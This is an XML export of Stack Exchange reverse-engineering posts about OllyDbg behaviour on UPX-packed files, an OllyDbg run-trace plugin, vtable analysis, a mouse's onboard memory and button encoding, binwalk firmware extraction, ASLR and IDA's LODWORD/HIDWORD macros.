  <row Id="8287" PostTypeId="1" AcceptedAnswerId="8288" CreationDate="2015-02-19T16:22:49.723" Score="2" ViewCount="1182" Body="&lt;p&gt;I was playing around with tutorials/white papers concerning unpacking, specifically UPX. As Olly 2.01 is my debugger of choice, I attempted to unpack an UPX-packed exe with it and to my surprise, it looks as though it fails to break where it should. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Olly 1.10, the execution will stop twice:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) First in ntdll&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hvxUk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Then the well known PUSHAD instruction in the actual module:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/K79Ov.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The JMP visible above will jump to the unpacked code:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lyRVQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;This is the kind of behavior I'd expect. However, Olly 2.01 with the same settings (break at &quot;Entry point of main module&quot;) will stop at this jump instead:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SiAtW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which, if followed, will immediately bring us to the unpacked code:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/S1a9L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, the bytes preceding the JMP  in both cases seem to differ, as do the addresses, suggesting this is actually a different piece of code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;&lt;b&gt;What is happening?&lt;/b&gt; Is Olly 2.01 actually &quot;smarter&quot;, recognizing the packer and stopping at the unpacked OEP? Also, why are the JMPs to unpacked code different (as stated above, different instructions before them and different addresses)?&lt;/p&gt;&#xA;" OwnerUserId="8346" LastActivityDate="2015-02-19T16:28:27.413" Title="Why does Olly 2.01 fail to break at the module EP?" Tags="|ollydbg|upx|entry-point|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8288" PostTypeId="2" ParentId="8287" CreationDate="2015-02-19T16:28:27.413" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is Olly 2.01 actually &quot;smarter&quot;, recognizing the packer and stopping&#xA;  at the unpacked OEP?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes! You can disable it in OllyDbg's options though by going to &lt;em&gt;Debugging&lt;/em&gt; → &lt;em&gt;SFX&lt;/em&gt; and unchecking &lt;em&gt;Unpack SFX modules automatically&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DyJWK.png&quot; alt=&quot;Self-extractable modules&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-02-19T16:28:27.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8289" PostTypeId="2" ParentId="2119" CreationDate="2015-02-19T17:46:22.860" Score="3" Body="&lt;p&gt;The trick is to find the object's constructor. Let's suppose the code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a = new CFoo();&#xA;a-&amp;gt;bar();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The compiler (I assume MSVC, 32bits) might produce something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push 12h ; size_t&#xA;call ??2@YXYXY@Z  ; operator new(uint)&#xA;mov [ebp+var_8], eax&#xA;mov esi, eax&#xA;test esi, esi&#xA;jz loc_1&#xA;  mov ecx, esi&#xA;  call ??0CFoo@@AAAA@AA ; CFoo::CFoo(void)&#xA;  mov [ebp+var_8], eax&#xA;  jmp loc_2&#xA;loc_1:&#xA;  mov [ebp+var_8], 0&#xA;loc_2:&#xA;...&#xA;...&#xA;...&#xA;mov eax, [ebp+var_8]&#xA;mov ecx, [eax]&#xA;mov ebx, ecx&#xA;mov ecx, [ebp+var_8]&#xA;call dword ptr [ebx+08h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking at &lt;code&gt;??0CFoo@@AAAA@AA&lt;/code&gt;, a.k.a. &lt;code&gt;CFoo::CFoo():&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;mov esi, ecx&#xA;mov dword ptr [esi], unk_12345&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;unk_12345&lt;/code&gt; is &lt;code&gt;CFoo&lt;/code&gt;'s virtual table offset:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unk_12345:&#xA;  dd offset sub_23456&#xA;  dd offset sub_34567&#xA;  dd offset sub_45678&#xA;  ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that &lt;code&gt;sub_45678&lt;/code&gt; at &lt;code&gt;unk_12345+08h&lt;/code&gt; (which would be 3rd entry, in this case) is what gets called, i.e. &lt;code&gt;CFoo::bar()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11795" LastEditorUserId="53" LastEditDate="2015-02-20T07:57:48.683" LastActivityDate="2015-02-20T07:57:48.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8290" PostTypeId="1" AcceptedAnswerId="8292" CreationDate="2015-02-19T20:37:25.807" Score="2" ViewCount="1017" Body="&lt;p&gt;In OllyDbg 1.10 it was possible to skip some parts of code when starting run trace(just example):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lLiXR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when there is some heavy code it was possible to skip to trace only some useful information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot find same &quot;Run trace -&gt; Skip selection from run trace&quot; option in OllyDbg 2.01. I cannot find any info on that on the internet too. Does it mean there is no such option in the newer version of the software? How is this possible at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to exclude some heavy code that is always present in the run trace, but I don't need it, and I cannot interact with the application when it records all those lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an answer that shows some workaround, but this is not exactly what 1.10 has, because in 1.10 you can select the code and just skip it. So I just want confirmation if this functionality was removed from the new version of OllyDbg, or there is some other (but also comfortable, not manual) way to do it.&lt;/p&gt;&#xA;" OwnerUserId="6943" LastEditorUserId="6943" LastEditDate="2015-02-23T15:15:05.423" LastActivityDate="2015-02-26T06:30:29.743" Title="OllyDbg 2.01 Run Trace &quot;Skip selection option&quot;" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8291" PostTypeId="2" ParentId="6388" CreationDate="2015-02-19T22:24:50.213" Score="2" Body="&lt;p&gt;Is it theoretically possible to store custom things in the onboard memory of input devices like keyboards or mice? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't give you an exhaustive list of devices you could use for this purpose, but I can give you &lt;em&gt;at least&lt;/em&gt; one, which should be enough to satisfy &quot;theoretically possible&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B0083H4NG4&quot; rel=&quot;nofollow&quot;&gt;Perixx MX-2000 IIB&lt;/a&gt; comes with onboard memory, to the tune of at least 1,285 bytes. 261 of those bytes are required for mouse configuration and settings, but 1,024 of those bytes are reserved for macro memory, which can be used for any other purpose, even when macros are not enabled. You can absolutely store arbitrary data in those sectors, and even have the data recallable on button click (actually using it as a macro) or otherwise dumping the data via USB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've come across this through reverse engineering the windows driver for this mouse making a &lt;a href=&quot;https://github.com/pzl/mx2000drv&quot; rel=&quot;nofollow&quot;&gt;linux port&lt;/a&gt;. An extremely quick way to accomplish what you want with this mouse is using this driver, and using the &lt;strong&gt;dump&lt;/strong&gt; and &lt;strong&gt;load&lt;/strong&gt; commands. The dump command creates a 1285-byte binary file with the memory contents of the mouse. Opening this with a hex editor, the first 1024 bytes should be easily seen to be all &lt;code&gt;0xFF&lt;/code&gt;. Feel free to put any arbitrary data there, it doesn't cause adverse effects to the mouse until macros are enabled. After editing the file, you can update the mouse memory using the load command. Of course, you can read it back with another dump. &lt;/p&gt;&#xA;" OwnerUserId="4370" LastActivityDate="2015-02-19T22:24:50.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8292" PostTypeId="2" ParentId="8290" CreationDate="2015-02-19T22:29:48.403" Score="2" Body="&lt;p&gt;use &lt;code&gt;CTRL + P&lt;/code&gt; protocol only the following EIP ranges &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the ranges above and below the block to be skipped &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the skipped block !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CQyiN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;no there doesn't seem to be any skip feature looking inside plugin.h i see only MAX 64 (NRTPROT) ranges can be protocolled  and the address is defined in t_range the code below can automate putting one range automatically into the dialog box for subsequent ranges you may need to implement logic that checks if selection is within an earlier block or not if yes split that block into pieces   code below compilable in vc++ 2010 express       &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define UNICODE&#xA;#define _CHAR_UNSIGNED&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#include &quot;plugin.h&quot;&#xA;#pragma comment(lib,&quot;ollydbg.lib&quot;)&#xA;//grab the plugin.h and ollydbg.lib from visual c folder in plugin kit and put them along&#xA;//this cpp file open vs2k10 express -&amp;gt;new -&amp;gt; project from existing code -&amp;gt; Dll -&amp;gt;finish&#xA;// open project properties and disable INCREMENTAL save solution and quit gui&#xA;// open a vs2k10 command prompt and do msbuild /p:configuration=Release &#xA;BOOL WINAPI DllEntryPoint( HINSTANCE,DWORD,LPVOID ) { return 1; };&#xA;int Skiprangefromrtprot( t_table *pt, wchar_t *name, ulong index, int mode ) {&#xA;    if (mode==MENU_VERIFY) { return MENU_NORMAL;&#xA;    } else if ( mode==MENU_EXECUTE) {&#xA;        Resumeallthreads();&#xA;        t_dump *cpudump = Getcpudisasmdump();&#xA;        ulong startsel = cpudump-&amp;gt;sel0;&#xA;        ulong endsel = cpudump-&amp;gt;sel1;&#xA;        t_module *curmod = Findmodule(startsel);&#xA;        if(curmod != 0) {&#xA;            Addprotocolrange(curmod-&amp;gt;base,startsel);&#xA;            Addprotocolrange(endsel,(curmod-&amp;gt;base + curmod-&amp;gt;size));&#xA;        }&#xA;        Suspendallthreads();&#xA;        return MENU_NOREDRAW;&#xA;    } else {&#xA;        return MENU_ABSENT;&#xA;    }&#xA;};&#xA;t_menu disasmmenu[] = {&#xA;    { L&quot;|SkipFromRunTrace&quot;, NULL,K_NONE, Skiprangefromrtprot, NULL, 0 },&#xA;    { NULL, NULL,K_NONE, NULL, NULL, 0 }&#xA;};&#xA;extc int __cdecl ODBG2_Pluginquery( int ollydbgversion, ulong *features,&#xA;    wchar_t pluginname[SHORTNAME], wchar_t pluginversion[SHORTNAME] ) {&#xA;        if (ollydbgversion&amp;lt;201)&#xA;            return 0;&#xA;        wcscpy_s( pluginname, SHORTNAME,L&quot;SkipFromRunTrace&quot; );&#xA;        wcscpy_s( pluginversion,SHORTNAME, L&quot;2.00.01&quot; );&#xA;        return PLUGIN_VERSION;&#xA;};&#xA;extc t_menu * __cdecl ODBG2_Pluginmenu( wchar_t *type ) {&#xA;    if (wcscmp(type,PWM_DISASM)==0)&#xA;        return disasmmenu;&#xA;    return NULL;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-02-26T03:29:27.877" LastActivityDate="2015-02-26T03:29:27.877" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8293" PostTypeId="1" AcceptedAnswerId="8316" CreationDate="2015-02-19T23:10:15.113" Score="4" ViewCount="333" Body="&lt;p&gt;I am finalizing the reverse-engineering of a linux driver for the &lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/com/B0083H4NG4&quot; rel=&quot;nofollow noreferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Perixx MX-2000 IIB&lt;/a&gt; mouse. One of the features the mouse has is arbitrary button mapping. I can assign a button to produce various keys or mouse buttons. I have recorded a few button assignments available in the Windows driver, and figured out a few myself, but there doesn't seem to be a discernible (to me) pattern to map the whole address space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The keys behave like this: Two bytes control a particular mouse button. I have learned a few keys and modifiers, and will post below. Setting the mouse button to the &lt;em&gt;hex value&lt;/em&gt; gives me &lt;em&gt;keyboard output&lt;/em&gt; when clicked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;keyboard output&lt;/strong&gt; | &lt;strong&gt;hex value&lt;/strong&gt;&lt;br&gt;&#xA;&lt;kbd&gt;a&lt;/kbd&gt; | &lt;code&gt;0x0400&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;b&lt;/kbd&gt; | &lt;code&gt;0x0500&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;c&lt;/kbd&gt; | &lt;code&gt;0x0600&lt;/code&gt;&lt;br&gt;&#xA;...&lt;br&gt;&#xA;&lt;kbd&gt;z&lt;/kbd&gt; | &lt;code&gt;0x1D00&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;1&lt;/kbd&gt; | &lt;code&gt;0x1E00&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;2&lt;/kbd&gt; | &lt;code&gt;0x1F00&lt;/code&gt;&lt;br&gt;&#xA;...&lt;br&gt;&#xA;&lt;kbd&gt;9&lt;/kbd&gt; | &lt;code&gt;0x2600&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;0&lt;/kbd&gt; | &lt;code&gt;0x2700&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;return&lt;/kbd&gt; | &lt;code&gt;0x2800&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;esc&lt;/kbd&gt; | &lt;code&gt;0x2900&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;backspace&lt;/kbd&gt; | &lt;code&gt;0x2A00&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;tab&lt;/kbd&gt; | &lt;code&gt;0x2B00&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;space&lt;/kbd&gt; | &lt;code&gt;0x2C00&lt;/code&gt;&lt;br&gt;&#xA;...&lt;br&gt;&#xA;&lt;kbd&gt;Volume Up&lt;/kbd&gt; | &lt;code&gt;0x8000&lt;/code&gt; (XF86AudioRaiseVolume)&lt;br&gt;&#xA;&lt;kbd&gt;Volume Down&lt;/kbd&gt; | &lt;code&gt;0x8100&lt;/code&gt; (XF86AudioLowerVolume)&lt;br&gt;&#xA;...  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've mapped through &lt;code&gt;0x8A00&lt;/code&gt; but will spare you the whole table. The interesting things are that thing like XF86 commands appear pretty early, like in &lt;code&gt;0x6F00&lt;/code&gt; is XF86AudioMicMute, or &lt;code&gt;0x6600&lt;/code&gt; is the power off key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the least significant byte, part of that is modifiers, applied as a mask. &lt;kbd&gt;Ctl&lt;/kbd&gt; is &lt;code&gt;(1 &amp;lt;&amp;lt; 0)&lt;/code&gt;, &lt;kbd&gt;shift&lt;/kbd&gt; is &lt;code&gt;(1 &amp;lt;&amp;lt; 1)&lt;/code&gt;, &lt;kbd&gt;alt&lt;/kbd&gt; is &lt;code&gt;(1 &amp;lt;&amp;lt; 2)&lt;/code&gt; and &lt;kbd&gt;super/meta/windows&lt;/kbd&gt; is &lt;code&gt;(1&amp;lt;&amp;lt;3)&lt;/code&gt;. So this way, &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt; (capital A) is &lt;code&gt;0x0402&lt;/code&gt;. &lt;kbd&gt;Ctl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt; would be &lt;code&gt;0x0405&lt;/code&gt;. All four modifiers give you &lt;code&gt;0x0F&lt;/code&gt; for the least sig. byte. Playing around with the high nybble of the LSB, say with values like &lt;code&gt;0x0440&lt;/code&gt; gives me more keys, like XF86Mute. So it seems the address space is massive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top of this, there are some keys from the windows driver that presented as an entirely different scheme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Output&lt;/strong&gt; | &lt;strong&gt;hex value&lt;/strong&gt;&lt;br&gt;&#xA;&lt;kbd&gt;aMouse Scroll up&lt;/kbd&gt; | &lt;code&gt;0x0143&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;Mouse Scroll down&lt;/kbd&gt; | &lt;code&gt;0xFF43&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;WWW Search&lt;/kbd&gt; | &lt;code&gt;0x2122&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;WWW Back&lt;/kbd&gt; | &lt;code&gt;0x2422&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;WWW Forward&lt;/kbd&gt; | &lt;code&gt;0x2522&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;Email&lt;/kbd&gt; | &lt;code&gt;0x8A21&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;Internet Expl Back&lt;/kbd&gt; | &lt;code&gt;0x8842&lt;/code&gt; (presents as mouse button 8 in X11)&lt;br&gt;&#xA;&lt;kbd&gt;IE Forward&lt;/kbd&gt; | &lt;code&gt;0x9042&lt;/code&gt; (mouse button 9)&lt;br&gt;&#xA;&lt;kbd&gt;Calculator&lt;/kbd&gt; | &lt;code&gt;0x9221&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;My Computer&lt;/kbd&gt; | &lt;code&gt;0x9421&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;Mute&lt;/kbd&gt; | &lt;code&gt;0xE220&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;Volume Up&lt;/kbd&gt; | &lt;code&gt;0xE920&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;Volume Down&lt;/kbd&gt; | &lt;code&gt;0xEA20&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And a few mouse buttons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;output&lt;/strong&gt; | &lt;strong&gt;hex&lt;/strong&gt;&lt;br&gt;&#xA;&lt;kbd&gt;Left Click&lt;/kbd&gt; | &lt;code&gt;0x8142&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;Right Click&lt;/kbd&gt; | &lt;code&gt;0x8242&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;Wheel Click&lt;/kbd&gt; | &lt;code&gt;0x8442&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and finally, these are internal mouse commands. They don't register any events on my linux machine, but do change things in the mouse's internal settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;action&lt;/strong&gt; | &lt;strong&gt;hex&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Cycle DPI setting&lt;/kbd&gt; | &lt;code&gt;0x034A&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;DPI increase&lt;/kbd&gt; | &lt;code&gt;0x014A&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;DPI decrease&lt;/kbd&gt; | &lt;code&gt;0x004A&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;Cycle mouse profile&lt;/kbd&gt; | &lt;code&gt;0x074A&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;Profile Up&lt;/kbd&gt; | &lt;code&gt;0x054A&lt;/code&gt;&lt;br&gt;&#xA;&lt;kbd&gt;Profile Down&lt;/kbd&gt; | &lt;code&gt;0x044A&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally there is a special set that looks like &lt;code&gt;0x0a88&lt;/code&gt; that point internally to macro memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find any encoding schemes or keyboard mappings that might match this. Alphabetical keys? And If you notice, &lt;kbd&gt;volume up&lt;/kbd&gt; is both &lt;code&gt;0x8000&lt;/code&gt; and &lt;code&gt;0xE920&lt;/code&gt; while &lt;kbd&gt;vol down&lt;/kbd&gt; is both &lt;code&gt;0x8100&lt;/code&gt; and &lt;code&gt;0xEA20&lt;/code&gt;. So somewhat of a light at the end of the tunnel that there is a consistent distance between those. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But really, I can't figure out a standard mapping this matches. Or any way to figure out all the keys without manually fiddling with the memory and looping through &lt;code&gt;0x0000&lt;/code&gt; to &lt;code&gt;0xFFFF&lt;/code&gt; and clicking with &lt;code&gt;xev&lt;/code&gt; each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts? is any of this familiar? or other patterns spotted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;: All key information I've mapped so far is &lt;a href=&quot;https://gist.github.com/pzl/94438a72f578b478a610&quot; rel=&quot;nofollow noreferrer&quot;&gt;in this gist&lt;/a&gt; including &lt;code&gt;0x0000&lt;/code&gt; through &lt;code&gt;0xFF00&lt;/code&gt; (leaving LSByte &lt;code&gt;0x00&lt;/code&gt;). So there is still a massive address space left. And it still makes no sense to me with the extra keys from the windows driver like &lt;code&gt;0x9421&lt;/code&gt; = XF86Explorer&lt;/p&gt;&#xA;" OwnerUserId="4370" LastEditorUserId="27355" LastEditDate="2019-02-05T09:06:26.543" LastActivityDate="2019-02-05T09:06:26.543" Title="Does anyone recognize this keyboard encoding scheme?" Tags="|encodings|driver|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8294" PostTypeId="2" ParentId="2704" CreationDate="2015-02-19T23:45:04.397" Score="2" Body="&lt;p&gt;I know this is an older question now, but I just want to add some updated information to the discussion for future answer-seekers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also experimenting with this. Newer versions of binwalk have an automatic extract feature. Simply run: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk -e ./firmwarefile.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will extract and split up the different partitions into separate folders. This is much, much easier than using &lt;code&gt;dd&lt;/code&gt;, where if you get the values wrong then &lt;code&gt;squashfs&lt;/code&gt;/&lt;code&gt;gzip&lt;/code&gt;/... will only see it as corrupted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, grab a copy of Kali or Backtrack linux (Backtrack might be depreciated now. I think, Kali is preferred) They have &lt;code&gt;binwalk&lt;/code&gt; and firmware mod utils either installed or in the apt package manager repo for easy install. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for repackaging a firmware for uploading, I haven't gotten that far yet, myself. With the firmware I am using, &lt;code&gt;binwalk&lt;/code&gt; also extracts the file with the signatures, as well. This contains the MD5 data for verifying the firmware on the device. &lt;/p&gt;&#xA;" OwnerUserId="11798" LastEditorUserId="53" LastEditDate="2015-02-20T08:00:37.237" LastActivityDate="2015-02-20T08:00:37.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8295" PostTypeId="2" ParentId="8265" CreationDate="2015-02-20T00:54:56.977" Score="2" Body="&lt;p&gt;Because ASLR is enabled in Windows 8, but not in Windows XP. The memory space layout is randomized when ASLR is enabled.&#xA;If you want to disable it for a particular executable, you can do it with the tool &lt;a href=&quot;http://blog.didierstevens.com/2010/10/17/setdllcharacteristics/&quot; rel=&quot;nofollow&quot;&gt;setdllcharacteristics&lt;/a&gt;. Here is an example of how to use it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;setdllcharacteristics.exe -d &quot;&amp;lt;your executable&amp;gt;.exe&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11799" LastEditorUserId="53" LastEditDate="2015-02-20T07:59:24.657" LastActivityDate="2015-02-20T07:59:24.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8296" PostTypeId="1" CreationDate="2015-02-20T01:18:26.653" Score="6" ViewCount="24940" Body="&lt;p&gt;I'm trying to figure out what  does this piece of code exactly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  LODWORD(fMax) = *(_DWORD *)v12;&#xA;  HIDWORD(fMax) = v13;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was reading on &lt;code&gt;IDA\Plugins\defs.h&lt;/code&gt; the definition, but I don't understand what does exactly to redo the same thing on Java.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll be really really glad if someone of you can help me.&lt;/p&gt;&#xA;" OwnerUserId="11800" LastEditorUserId="53" LastEditDate="2015-02-20T07:56:15.293" LastActivityDate="2015-02-20T07:56:15.293" Title="what's the function of LODWORD and HIDWORD?" Tags="|ida|disassembly|decompilation|c|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8297" PostTypeId="1" AcceptedAnswerId="8299" CreationDate="2015-02-20T02:02:56.217" Score="4" ViewCount="2266" Body="&lt;p&gt;I see that inspecting &lt;code&gt;/proc/self/maps&lt;/code&gt; on Linux machines lets me see the pages that have been mapped in. As a result I can write a program to read and parse the pages it has mapped in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could one go about doing something similar for Windows? Are there any APIs for the same? If not, do you have any suggestions on how this could be done? Do you have any references you could link me to?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2015-02-20T08:26:59.030" Title="/proc/self/maps equivalent on windows" Tags="|windows|linux|virtual-memory|pages|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8298" PostTypeId="2" ParentId="8296" CreationDate="2015-02-20T06:48:06.030" Score="7" Body="&lt;p&gt;This pattern is typical for assigning a 64-bit value to a variable on a 32 bit system - you calculate each 32-bit value separately, then push them into the high and low 32 bits of the 64 bit value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Java, your first assignment would be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fMax=(fMax &amp;amp; 0xFFFFFFFF00000000) | (v12 &amp;amp; 0x00000000FFFFFFFF)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the second would be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fMax=(fMax &amp;amp; 0x00000000FFFFFFFF) | (((long)v13&amp;lt;&amp;lt;32) &amp;amp; 0xFFFFFFFF00000000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, &lt;code&gt;fMax&lt;/code&gt; is a 64 bit long here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can omit the &lt;code&gt;&amp;amp; 0xFFFFFFFF00000000&lt;/code&gt; from the second expression, as you know those bits will be zero after the left shift. And you can omit the &lt;code&gt;&amp;amp; 0x00000000FFFFFFFF&lt;/code&gt; from the first expression if &lt;code&gt;v12&lt;/code&gt; is an &lt;code&gt;int&lt;/code&gt;, since the high bits will be zero anyway in a 32 bit integer. But the java compiler will probably optimize these away anyway, and i wanted to write the statements in a way that makes clear which bits are taken from &lt;code&gt;fMax&lt;/code&gt;, and which from &lt;code&gt;v12&lt;/code&gt; and &lt;code&gt;v13&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2015-02-20T06:55:33.903" LastActivityDate="2015-02-20T06:55:33.903" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
